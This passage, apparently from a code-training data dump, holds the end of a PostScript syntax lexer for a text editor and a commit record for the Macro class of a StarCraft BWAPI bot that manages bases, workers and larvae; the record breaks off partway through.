|| ch == '}' ||\n            ch == '\/' || ch == '<' || ch == '>' ||\n            ch == '(' || ch == ')' || ch == '%');\n}\n\nstatic inline bool IsAWhitespaceChar(const int ch) {\n    return (ch == ' '  || ch == '\\t' || ch == '\\r' ||\n            ch == '\\n' || ch == '\\f' || ch == '\\0');\n}\n\nstatic bool IsABaseNDigit(const int ch, const int base) {\n    int maxdig = '9';\n    int letterext = -1;\n\n    if (base <= 10)\n        maxdig = '0' + base - 1;\n    else\n        letterext = base - 11;\n\n    return ((ch >= '0' && ch <= maxdig) ||\n            (ch >= 'A' && ch <= ('A' + letterext)) ||\n            (ch >= 'a' && ch <= ('a' + letterext)));\n}\n\nstatic inline bool IsABase85Char(const int ch) {\n    return ((ch >= '!' && ch <= 'u') || ch == 'z');\n}\n\nstatic void ColourisePSDoc(\n    unsigned int startPos,\n    int length,\n    int initStyle,\n    WordList *keywordlists[],\n    Accessor &styler) {\n\n    WordList &keywords1 = *keywordlists[0];\n    WordList &keywords2 = *keywordlists[1];\n    WordList &keywords3 = *keywordlists[2];\n    WordList &keywords4 = *keywordlists[3];\n    WordList &keywords5 = *keywordlists[4];\n\n    StyleContext sc(startPos, length, initStyle, styler);\n\n    bool tokenizing = styler.GetPropertyInt(\"ps.tokenize\") != 0;\n    int pslevel = styler.GetPropertyInt(\"ps.level\", 3);\n    int lineCurrent = styler.GetLine(startPos);\n    int nestTextCurrent = 0;\n    if (lineCurrent > 0 && initStyle == SCE_PS_TEXT)\n        nestTextCurrent = styler.GetLineState(lineCurrent - 1);\n    int numRadix = 0;\n    bool numHasPoint = false;\n    bool numHasExponent = false;\n    bool numHasSign = false;\n\n    \/\/ Clear out existing tokenization\n    if (tokenizing && length > 0) {\n        styler.StartAt(startPos, static_cast<char>(INDIC2_MASK));\n        styler.ColourTo(startPos + length-1, 0);\n        styler.Flush();\n        styler.StartAt(startPos);\n        styler.StartSegment(startPos);\n    }\n\n    for (; sc.More(); sc.Forward()) {\n        if (sc.atLineStart)\n            lineCurrent = styler.GetLine(sc.currentPos);\n\n        \/\/ Determine if the current state should terminate.\n        if (sc.state == SCE_PS_COMMENT || sc.state == SCE_PS_DSC_VALUE) {\n            if (sc.atLineEnd) {\n                sc.SetState(SCE_C_DEFAULT);\n            }\n        } else if (sc.state == SCE_PS_DSC_COMMENT) {\n            if (sc.ch == ':') {\n                sc.Forward();\n                if (!sc.atLineEnd)\n                    sc.SetState(SCE_PS_DSC_VALUE);\n                else\n                    sc.SetState(SCE_C_DEFAULT);\n            } else if (sc.atLineEnd) {\n                sc.SetState(SCE_C_DEFAULT);\n            } else if (IsAWhitespaceChar(sc.ch) && sc.ch != '\\r') {\n                sc.ChangeState(SCE_PS_COMMENT);\n            }\n        } else if (sc.state == SCE_PS_NUMBER) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch)) {\n                if ((sc.chPrev == '+' || sc.chPrev == '-' ||\n                     sc.chPrev == 'E' || sc.chPrev == 'e') && numRadix == 0)\n                    sc.ChangeState(SCE_PS_NAME);\n                sc.SetState(SCE_C_DEFAULT);\n            } else if (sc.ch == '#') {\n                if (numHasPoint || numHasExponent || numHasSign || numRadix != 0) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    char szradix[5];\n                    sc.GetCurrent(szradix, 4);\n                    numRadix = atoi(szradix);\n                    if (numRadix < 2 || numRadix > 36)\n                        sc.ChangeState(SCE_PS_NAME);\n                }\n            } else if ((sc.ch == 'E' || sc.ch == 'e') && numRadix == 0) {\n                if (numHasExponent) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    numHasExponent = true;\n                    if (sc.chNext == '+' || sc.chNext == '-')\n                        sc.Forward();\n                }\n            } else if (sc.ch == '.') {\n                if (numHasPoint || numHasExponent || numRadix != 0) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    numHasPoint = true;\n                }\n            } else if (numRadix == 0) {\n                if (!IsABaseNDigit(sc.ch, 10))\n                    sc.ChangeState(SCE_PS_NAME);\n            } else {\n                if (!IsABaseNDigit(sc.ch, numRadix))\n                    sc.ChangeState(SCE_PS_NAME);\n            }\n        } else if (sc.state == SCE_PS_NAME || sc.state == SCE_PS_KEYWORD) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch)) {\n                char s[100];\n                sc.GetCurrent(s, sizeof(s));\n                if ((pslevel >= 1 && keywords1.InList(s)) ||\n                    (pslevel >= 2 && keywords2.InList(s)) ||\n                    (pslevel >= 3 && keywords3.InList(s)) ||\n                    keywords4.InList(s) || keywords5.InList(s)) {\n                    sc.ChangeState(SCE_PS_KEYWORD);\n                }\n                sc.SetState(SCE_C_DEFAULT);\n            }\n        } else if (sc.state == SCE_PS_LITERAL || sc.state == SCE_PS_IMMEVAL) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch))\n                sc.SetState(SCE_C_DEFAULT);\n        } else if (sc.state == SCE_PS_PAREN_ARRAY || sc.state == SCE_PS_PAREN_DICT ||\n                   sc.state == SCE_PS_PAREN_PROC) {\n            sc.SetState(SCE_C_DEFAULT);\n        } else if (sc.state == SCE_PS_TEXT) {\n            if (sc.ch == '(') {\n                nestTextCurrent++;\n            } else if (sc.ch == ')') {\n                if (--nestTextCurrent == 0)\n                   sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (sc.ch == '\\\\') {\n                sc.Forward();\n            }\n        } else if (sc.state == SCE_PS_HEXSTRING) {\n            if (sc.ch == '>') {\n                sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (!IsABaseNDigit(sc.ch, 16) && !IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_HEXSTRING);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            }\n        } else if (sc.state == SCE_PS_BASE85STRING) {\n            if (sc.Match('~', '>')) {\n                sc.Forward();\n                sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (!IsABase85Char(sc.ch) && !IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_BASE85STRING);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            }\n        }\n\n        \/\/ Determine if a new state should be entered.\n        if (sc.state == SCE_C_DEFAULT) {\n            unsigned int tokenpos = sc.currentPos;\n\n            if (sc.ch == '[' || sc.ch == ']') {\n                sc.SetState(SCE_PS_PAREN_ARRAY);\n            } else if (sc.ch == '{' || sc.ch == '}') {\n                sc.SetState(SCE_PS_PAREN_PROC);\n            } else if (sc.ch == '\/') {\n                if (sc.chNext == '\/') {\n                    sc.SetState(SCE_PS_IMMEVAL);\n                    sc.Forward();\n                } else {\n                    sc.SetState(SCE_PS_LITERAL);\n                }\n            } else if (sc.ch == '<') {\n                if (sc.chNext == '<') {\n                    sc.SetState(SCE_PS_PAREN_DICT);\n                    sc.Forward();\n                } else if (sc.chNext == '~') {\n                    sc.SetState(SCE_PS_BASE85STRING);\n                    sc.Forward();\n                } else {\n                    sc.SetState(SCE_PS_HEXSTRING);\n                }\n            } else if (sc.ch == '>' && sc.chNext == '>') {\n                    sc.SetState(SCE_PS_PAREN_DICT);\n                    sc.Forward();\n            } else if (sc.ch == '>' || sc.ch == ')') {\n                sc.SetState(SCE_C_DEFAULT);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            } else if (sc.ch == '(') {\n                sc.SetState(SCE_PS_TEXT);\n                nestTextCurrent = 1;\n            } else if (sc.ch == '%') {\n                if (sc.chNext == '%' && sc.atLineStart) {\n                    sc.SetState(SCE_PS_DSC_COMMENT);\n                    sc.Forward();\n                    if (sc.chNext == '+') {\n                        sc.Forward();\n                        sc.ForwardSetState(SCE_PS_DSC_VALUE);\n                    }\n                } else {\n                    sc.SetState(SCE_PS_COMMENT);\n                }\n            } else if ((sc.ch == '+' || sc.ch == '-' || sc.ch == '.') &&\n                       IsABaseNDigit(sc.chNext, 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = (sc.ch == '.');\n                numHasExponent = false;\n                numHasSign = (sc.ch == '+' || sc.ch == '-');\n            } else if ((sc.ch == '+' || sc.ch == '-') && sc.chNext == '.' &&\n                       IsABaseNDigit(sc.GetRelative(2), 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = false;\n                numHasExponent = false;\n                numHasSign = true;\n            } else if (IsABaseNDigit(sc.ch, 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = false;\n                numHasExponent = false;\n                numHasSign = false;\n            } else if (!IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_NAME);\n            }\n\n            \/\/ Mark the start of tokens\n            if (tokenizing && sc.state != SCE_C_DEFAULT && sc.state != SCE_PS_COMMENT &&\n                sc.state != SCE_PS_DSC_COMMENT && sc.state != SCE_PS_DSC_VALUE) {\n                styler.Flush();\n                styler.StartAt(tokenpos, static_cast<char>(INDIC2_MASK));\n                styler.ColourTo(tokenpos, INDIC2_MASK);\n                styler.Flush();\n                styler.StartAt(tokenpos);\n                styler.StartSegment(tokenpos);\n            }\n        }\n\n        if (sc.atLineEnd)\n            styler.SetLineState(lineCurrent, nestTextCurrent);\n    }\n\n    sc.Complete();\n}\n\nstatic void FoldPSDoc(unsigned int startPos, int length, int, WordList *[],\n                       Accessor &styler) {\n    bool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n    bool foldAtElse = styler.GetPropertyInt(\"fold.at.else\", 0) != 0;\n    unsigned int endPos = startPos + length;\n    int visibleChars = 0;\n    int lineCurrent = styler.GetLine(startPos);\n    int levelCurrent = SC_FOLDLEVELBASE;\n    if (lineCurrent > 0)\n        levelCurrent = styler.LevelAt(lineCurrent-1) >> 16;\n    int levelMinCurrent = levelCurrent;\n    int levelNext = levelCurrent;\n    char chNext = styler[startPos];\n    int styleNext = styler.StyleAt(startPos);\n    int style;\n    for (unsigned int i = startPos; i < endPos; i++) {\n        char ch = chNext;\n        chNext = styler.SafeGetCharAt(i + 1);\n        style = styleNext;\n        styleNext = styler.StyleAt(i + 1);\n        bool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');  \/\/mac??\n        if ((style & 31) == SCE_PS_PAREN_PROC) {\n            if (ch == '{') {\n                \/\/ Measure the minimum before a '{' to allow\n                \/\/ folding on \"} {\"\n                if (levelMinCurrent > levelNext) {\n                    levelMinCurrent = levelNext;\n                }\n                levelNext++;\n            } else if (ch == '}') {\n                levelNext--;\n            }\n        }\n        if (atEOL) {\n            int levelUse = levelCurrent;\n            if (foldAtElse) {\n                levelUse = levelMinCurrent;\n            }\n            int lev = levelUse | levelNext << 16;\n            if (visibleChars == 0 && foldCompact)\n                lev |= SC_FOLDLEVELWHITEFLAG;\n            if (levelUse < levelNext)\n                lev |= SC_FOLDLEVELHEADERFLAG;\n            if (lev != styler.LevelAt(lineCurrent)) {\n                styler.SetLevel(lineCurrent, lev);\n            }\n            lineCurrent++;\n            levelCurrent = levelNext;\n            levelMinCurrent = levelCurrent;\n            visibleChars = 0;\n        }\n        if (!isspacechar(ch))\n            visibleChars++;\n    }\n}\n\nstatic const char * const psWordListDesc[] = {\n    \"PS Level 1 operators\",\n    \"PS Level 2 operators\",\n    \"PS Level 3 operators\",\n    \"RIP-specific operators\",\n    \"User-defined operators\",\n    0\n};\n\nLexerModule lmPS(SCLEX_PS, ColourisePSDoc, \"ps\", FoldPSDoc, psWordListDesc);\n<|endoftext|>"}
{"text":"<commit_before>#include \"Macro.h\"\n#include \"BlackCrow.h\"\n#include \"Planned.h\"\n#include \"Worker.h\"\n#include <numeric>\n\nnamespace BlackCrow {\n\n\tusing namespace BWAPI;\n\tusing namespace Filter;\n\n\tMacro::Macro(BlackCrow &parent) : bc(parent) {}\n\n\tvoid Macro::onStart() {\n\t\tinitBases();\n\t\tstartPosition = getStartingHatchery()->getPosition();\n\t}\n\n\tvoid Macro::onFrame() {\n\t\tfor (auto it = plannedStuff.begin(); it != plannedStuff.end();) {\n\t\t\tstd::shared_ptr<Planned> planned = *it;\n\t\t\tplanned->onFrame();\n\t\t\tif (planned->getStatus() == Planned::Status::FAILED || planned->getStatus() == Planned::Status::COMPLETED) {\n\t\t\t\tit = plannedStuff.erase(it);\n\t\t\t} else {\n\t\t\t\tit++;\n\t\t\t}\n\t\t}\n\t}\n\n\n\tvoid Macro::onUnitCompleted(BWAPI::Unit unit) {\n\t\tif (unit->getType() == UnitTypes::Zerg_Hatchery)\n\t\t\thatcheries.push_back(unit);\n\t}\n\n\tvoid Macro::onUnitDestroyed(BWAPI::Unit unit) {\n\t\tif (unit->getType() == UnitTypes::Zerg_Hatchery || unit->getType() == UnitTypes::Zerg_Lair || unit->getType() == UnitTypes::Zerg_Hive)\n\t\t\thatcheries.erase(std::remove(hatcheries.begin(), hatcheries.end(), unit), hatcheries.end());\n\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.onUnitDestroyed(unit))\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ Planned\n\tstd::shared_ptr<PlannedUnit> Macro::planUnit(BWAPI::UnitType type, BWAPI::Position nearTo) {\n\t\tauto unit = std::make_shared<PlannedUnit>(bc, type, nearTo);\n\t\tplannedStuff.push_back(unit);\n\t\treturn unit;\n\t}\n\n\tstd::shared_ptr<PlannedBuilding> Macro::planBuilding(BWAPI::UnitType type, BWAPI::TilePosition buildPosition) {\n\t\tauto building = std::make_shared<PlannedBuilding>(bc, type, buildPosition);\n\t\tplannedStuff.push_back(building);\n\t\treturn building;\n\t}\n\n\tstd::shared_ptr<PlannedExtractor> Macro::planExtractor(Geyser& geyser) {\n\t\tauto extractor = std::make_shared<PlannedExtractor>(bc, geyser);\n\t\tplannedStuff.push_back(extractor);\n\t\treturn extractor;\n\t}\n\n\tint Macro::getTypeCurrentlyPlanned(BWAPI::UnitType type) {\n\t\treturn std::accumulate(plannedStuff.begin(), plannedStuff.end(), 0, [&](int sum, std::shared_ptr<Planned> planned) { \n\n\t\t\tif (type == UnitTypes::Zerg_Extractor) {\n\t\t\t\t\/\/ TODO typeof comparison here?\n\t\t\t\tstd::shared_ptr<PlannedExtractor> plannedExtractor = std::dynamic_pointer_cast<PlannedExtractor>(planned);\n\t\t\t\tif (plannedExtractor)\n\t\t\t\t\treturn ++sum;\n\t\t\t}\n\n\t\t\tstd::shared_ptr<PlannedUnit> plannedUnit = std::dynamic_pointer_cast<PlannedUnit>(planned);\n\t\t\tif (plannedUnit && plannedUnit->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedBuilding> plannedBuilding = std::dynamic_pointer_cast<PlannedBuilding>(planned);\n\t\t\tif (plannedBuilding && plannedBuilding->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedUpgrade> plannedUpgrade = std::dynamic_pointer_cast<PlannedUpgrade>(planned);\n\t\t\tif (plannedUpgrade && plannedUpgrade->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedTech> plannedTech = std::dynamic_pointer_cast<PlannedTech>(planned);\n\t\t\tif (plannedTech && plannedTech->type == type)\n\t\t\t\treturn ++sum;\n\t\t\t\n\t\t\treturn sum;\n\t\t});\n\t}\n\n\t\/\/ Expansions and Bases \/\/ TODO Need enemy information to do this\n\tBase& Macro::getSafestToExpand() {\n\t\treturn bases.front();\n\t}\n\n\tvoid Macro::expand() {\n\n\t}\n\n\tint Macro::getNumberOfCurrentlyExpandingBases() {\n\t\treturn 0;\n\t}\n\n\tint Macro::getNumberOfEstablishedBases() {\n\t\treturn 0;\n\t}\n\n\tBase& Macro::getSafestEstablishedBase() {\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished())\n\t\t\t\treturn base;\n\t\t}\n\t\treturn bases.front();\n\t}\n\t\/\/ TODO end\n\n\tBase& Macro::getNearestBase(BWAPI::Position position) { \/\/ Is there a better, or templatey\/lambda way?\n\t\tBase* closestBase = nullptr;\n\t\tdouble closestDistance = std::numeric_limits<double>::max();\n\t\tfor(Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), position);\n\t\t\t\tif (distance < closestDistance) {\n\t\t\t\t\tclosestDistance = distance;\n\t\t\t\t\tclosestBase = &base;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn *closestBase;\n\t}\n\n\t\/\/ Worker\n\tint Macro::getTotalWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalWorkers(); });\n\t}\n\n\tint Macro::getMineralWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalMineralWorkers(); });\n\t}\n\n\tint Macro::getGasWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalGasWorkers(); });\n\t}\n\n\tbool Macro::isWorkerNeededForSaturation() {\n\t\treturn std::any_of(bases.begin(), bases.end(), [](Base& base) { return base.isWorkerNeeded(); });\n\t}\n\n\tint Macro::getWorkersNeededForSaturation() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getWorkersNeeded(); });\n\t}\n\t\n\tvoid Macro::buildWorkerDrone() {\n\t\tauto base = std::find_if(bases.begin(), bases.end(), [](Base& base) { return base.isWorkerNeeded(); });\n\t\tplanUnit(UnitTypes::Zerg_Drone, base->bwemBase.Center());\n\t}\n\n\tvoid Macro::addDrone(BWAPI::Unit drone) {\n\t\tBase* closestEstablished = nullptr;\n\t\tdouble closestEstablishedDistance = std::numeric_limits<double>::max();\n\n\t\tBase* closestEstablishedWorkerNeeded = nullptr;\n\t\tdouble closestEstablishedWorkerNeededDistance = std::numeric_limits<double>::max();\n\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\n\t\t\t\t\/\/ Get any base where we can put a worker if we have no base that needs a worker\n\t\t\t\tif (!closestEstablished) {\n\t\t\t\t\tclosestEstablished = &base;\n\t\t\t\t\tclosestEstablishedDistance = Util::distance(closestEstablished->bwemBase.Center(), drone->getPosition());\n\t\t\t\t}\n\n\t\t\t\t\/\/ If the base needs worker and is closer, use it\n\t\t\t\tif (base.isWorkerNeeded()) {\n\t\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), drone->getPosition());\n\t\t\t\t\tif (distance < closestEstablishedWorkerNeededDistance) {\n\t\t\t\t\t\tclosestEstablishedWorkerNeeded = &base;\n\t\t\t\t\t\tclosestEstablishedWorkerNeededDistance = distance;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ If we have no closest base that needs worker, check if the current established base is closest and if yes, use it\n\t\t\t\tif (!closestEstablishedWorkerNeeded) {\n\t\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), drone->getPosition());\n\t\t\t\t\tif (distance < closestEstablishedDistance) {\n\t\t\t\t\t\tclosestEstablishedDistance = distance;\n\t\t\t\t\t\tclosestEstablished = &base;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (closestEstablishedWorkerNeeded)\n\t\t\tclosestEstablishedWorkerNeeded->addWorker(drone);\n\t\telse if(closestEstablished)\n\t\t\tclosestEstablished->addWorker(drone);\n\t\t\t\/\/ If not, I guess we are dead\n\t}\n\n\tBWAPI::Unit Macro::getDroneForBuilding(BWAPI::Position position) {\n\t\t\/\/ Predicates for getNearestBase, we want to have workers here\n\t\treturn getNearestBase(position).removeWorker(position);\n\t}\n\n\n\t\/\/ Gas\n\tint Macro::getGasWorkerSlotsAvailable() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getGasWorkerSlotsAvailable(); });\n\t}\n\n\tint Macro::getExtractorsAbleToBuild() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [&](int sum, Base& base) { return sum + base.getExtractorsAbleToBuild(); });\n\t}\n\n\tvoid Macro::buildExtractor() { \/\/ TODO build extractor at safeset base\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\t\t\t\tfor (Geyser& geyser : base.geysers) {\n\t\t\t\t\tif (geyser.isBuildable()) {\n\t\t\t\t\t\tplanExtractor(geyser);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid Macro::addGasWorker() {\n\n\t}\n\n\tvoid Macro::removeGasWorker() {\n\n\t}\n\n\t\/\/ Larva\n\tint Macro::getTotalLarvaeAmount() {\n\t\treturn 0;\n\t}\n\n\tBWAPI::Unit Macro::getUnreservedLarva(Position nearTo) {\n\t\tstd::vector<BWAPI::Unit> url = getUnreservedLarvae();\n\t\tif (url.size() > 0)\n\t\t\treturn Util::findClosestUnit(url, nearTo);\n\t\telse\n\t\treturn nullptr;\n\t}\n\n\tint Macro::getUnreservedLarvaeAmount() {\n\t\treturn getUnreservedLarvae().size();\n\t}\n\n\n\t\/\/ Estimates\n\tResources Macro::getUnreservedResources() {\n\t\tResources resources = { Broodwar->self()->minerals(), Broodwar->self()->gas() };\n\n\t\tfor (std::shared_ptr<Planned> planned : plannedStuff) {\n\t\t\tresources.minerals -= planned->getMineralPrice();\n\t\t\tresources.gas -= planned->getGasPrice();\n\t\t}\n\n\t\treturn resources;\n\t}\n\n\tdouble Macro::getAverageMineralsPerFrame() {\n\t\treturn 0;\n\t}\n\n\tdouble Macro::getAverageGasPerFrame() {\n\t\treturn 0;\n\t}\n\n\t\/\/ Private\n\tvoid Macro::initBases() {\n\t\tfor (const BWEM::Area& bwemArea : bc.bwem.Areas()) {\n\t\t\t\n\t\t\tArea& area = bc.map.getArea(bwemArea);\n\t\t\tfor (const BWEM::Base& bwemBase : bwemArea.Bases()) {\n\t\t\t\tbases.emplace_back(bc, bwemBase, area);\n\t\t\t\tBase& base = bases.back();\n\n\t\t\t\t\/\/ Starting Base\n\t\t\t\tif (bwemBase.Starting()) {\n\t\t\t\t\tBWAPI::Unit startingHatchery = getStartingHatchery();\n\t\t\t\t\tif (bwemBase.Location() == startingHatchery->getTilePosition()) {\n\n\t\t\t\t\t\tbase.hatchery = startingHatchery;\n\t\t\t\t\t\tUnitset drones = Broodwar->getUnitsInRadius(startingHatchery->getPosition(), 350, BWAPI::Filter::IsWorker);\n\n\t\t\t\t\t\tfor (Unit drone : drones) {\n\t\t\t\t\t\t\tbase.addWorker(drone);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor (Base& base : bases)\n\t\t\tif (base.hatchery)\n\t\t\t\tfor (Worker& worker : base.workers)\n\t\t\t\t\tif (worker.mineral && worker.mineral->id <= 0) {\n\t\t\t\t\t\t\/\/ TODO BIG BIG ERROR\n\t\t\t\t\t\t\/\/assert(!\"Wrong mineral ids!\");\n\t\t\t\t\t\tBroodwar->sendText(\"!!!!! Error! Wrong Mineral IDs! !!!!!\");\n\t\t\t\t\t}\n\t}\n\n\tBWAPI::Unit Macro::getStartingHatchery() {\n\t\tfor (auto &unit : Broodwar->self()->getUnits()) {\n\t\t\tif (unit->getType().isResourceDepot()) {\n\t\t\t\treturn unit;\n\t\t\t}\n\t\t}\n\t\treturn nullptr;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getAllLarvae() {\n\t\tstd::vector<BWAPI::Unit> allLarvae;\n\n\t\tfor (Unit hatchery : hatcheries) {\n\t\t\tUnitset hatchLarvae = hatchery->getLarva();\n\t\t\tstd::copy(hatchLarvae.begin(), hatchLarvae.end(), std::back_inserter(allLarvae));\n\t\t}\n\t\treturn allLarvae;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getReservedLarvae() {\n\t\tstd::vector<BWAPI::Unit> reservedLarvae;\n\n\t\t\/\/ TODO this doesn't look good\n\t\tfor (std::shared_ptr<Planned> planned : plannedStuff) {\n\t\t\tstd::shared_ptr<PlannedUnit> pu = std::dynamic_pointer_cast<PlannedUnit>(planned); \/\/ TODO Dynamic Cast is bad?\n\t\t\tif (pu) {\n\t\t\t\tUnit larva = pu->reservedLarva();\n\t\t\t\tif (larva)\n\t\t\t\t\treservedLarvae.push_back(larva); \/\/ Can you push a nullptr?\n\t\t\t}\n\t\t}\n\n\t\treturn reservedLarvae;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getUnreservedLarvae() {\n\t\tstd::vector<BWAPI::Unit> allLarvae = getAllLarvae();\n\t\tstd::vector<BWAPI::Unit> reservedLarvae = getReservedLarvae();\n\t\tstd::vector<BWAPI::Unit> unreservedLarvae;\n\n\t\tstd::sort(allLarvae.begin(), allLarvae.end());\n\t\tstd::sort(reservedLarvae.begin(), reservedLarvae.end());\n\t\tstd::set_difference(allLarvae.begin(), allLarvae.end(), reservedLarvae.begin(), reservedLarvae.end(), std::inserter(unreservedLarvae, unreservedLarvae.begin()));\n\n\t\treturn unreservedLarvae;\n\t}\n}<commit_msg>Implemented getTotalLarvaeAmount()<commit_after>#include \"Macro.h\"\n#include \"BlackCrow.h\"\n#include \"Planned.h\"\n#include \"Worker.h\"\n#include <numeric>\n\nnamespace BlackCrow {\n\n\tusing namespace BWAPI;\n\tusing namespace Filter;\n\n\tMacro::Macro(BlackCrow &parent) : bc(parent) {}\n\n\tvoid Macro::onStart() {\n\t\tinitBases();\n\t\tstartPosition = getStartingHatchery()->getPosition();\n\t}\n\n\tvoid Macro::onFrame() {\n\t\tfor (auto it = plannedStuff.begin(); it != plannedStuff.end();) {\n\t\t\tstd::shared_ptr<Planned> planned = *it;\n\t\t\tplanned->onFrame();\n\t\t\tif (planned->getStatus() == Planned::Status::FAILED || planned->getStatus() == Planned::Status::COMPLETED) {\n\t\t\t\tit = plannedStuff.erase(it);\n\t\t\t} else {\n\t\t\t\tit++;\n\t\t\t}\n\t\t}\n\t}\n\n\n\tvoid Macro::onUnitCompleted(BWAPI::Unit unit) {\n\t\tif (unit->getType() == UnitTypes::Zerg_Hatchery)\n\t\t\thatcheries.push_back(unit);\n\t}\n\n\tvoid Macro::onUnitDestroyed(BWAPI::Unit unit) {\n\t\tif (unit->getType() == UnitTypes::Zerg_Hatchery || unit->getType() == UnitTypes::Zerg_Lair || unit->getType() == UnitTypes::Zerg_Hive)\n\t\t\thatcheries.erase(std::remove(hatcheries.begin(), hatcheries.end(), unit), hatcheries.end());\n\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.onUnitDestroyed(unit))\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ Planned\n\tstd::shared_ptr<PlannedUnit> Macro::planUnit(BWAPI::UnitType type, BWAPI::Position nearTo) {\n\t\tauto unit = std::make_shared<PlannedUnit>(bc, type, nearTo);\n\t\tplannedStuff.push_back(unit);\n\t\treturn unit;\n\t}\n\n\tstd::shared_ptr<PlannedBuilding> Macro::planBuilding(BWAPI::UnitType type, BWAPI::TilePosition buildPosition) {\n\t\tauto building = std::make_shared<PlannedBuilding>(bc, type, buildPosition);\n\t\tplannedStuff.push_back(building);\n\t\treturn building;\n\t}\n\n\tstd::shared_ptr<PlannedExtractor> Macro::planExtractor(Geyser& geyser) {\n\t\tauto extractor = std::make_shared<PlannedExtractor>(bc, geyser);\n\t\tplannedStuff.push_back(extractor);\n\t\treturn extractor;\n\t}\n\n\tint Macro::getTypeCurrentlyPlanned(BWAPI::UnitType type) {\n\t\treturn std::accumulate(plannedStuff.begin(), plannedStuff.end(), 0, [&](int sum, std::shared_ptr<Planned> planned) { \n\n\t\t\tif (type == UnitTypes::Zerg_Extractor) {\n\t\t\t\t\/\/ TODO typeof comparison here?\n\t\t\t\tstd::shared_ptr<PlannedExtractor> plannedExtractor = std::dynamic_pointer_cast<PlannedExtractor>(planned);\n\t\t\t\tif (plannedExtractor)\n\t\t\t\t\treturn ++sum;\n\t\t\t}\n\n\t\t\tstd::shared_ptr<PlannedUnit> plannedUnit = std::dynamic_pointer_cast<PlannedUnit>(planned);\n\t\t\tif (plannedUnit && plannedUnit->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedBuilding> plannedBuilding = std::dynamic_pointer_cast<PlannedBuilding>(planned);\n\t\t\tif (plannedBuilding && plannedBuilding->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedUpgrade> plannedUpgrade = std::dynamic_pointer_cast<PlannedUpgrade>(planned);\n\t\t\tif (plannedUpgrade && plannedUpgrade->type == type)\n\t\t\t\treturn ++sum;\n\n\t\t\tstd::shared_ptr<PlannedTech> plannedTech = std::dynamic_pointer_cast<PlannedTech>(planned);\n\t\t\tif (plannedTech && plannedTech->type == type)\n\t\t\t\treturn ++sum;\n\t\t\t\n\t\t\treturn sum;\n\t\t});\n\t}\n\n\t\/\/ Expansions and Bases \/\/ TODO Need enemy information to do this\n\tBase& Macro::getSafestToExpand() {\n\t\treturn bases.front();\n\t}\n\n\tvoid Macro::expand() {\n\n\t}\n\n\tint Macro::getNumberOfCurrentlyExpandingBases() {\n\t\treturn 0;\n\t}\n\n\tint Macro::getNumberOfEstablishedBases() {\n\t\treturn 0;\n\t}\n\n\tBase& Macro::getSafestEstablishedBase() {\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished())\n\t\t\t\treturn base;\n\t\t}\n\t\treturn bases.front();\n\t}\n\t\/\/ TODO end\n\n\tBase& Macro::getNearestBase(BWAPI::Position position) { \/\/ Is there 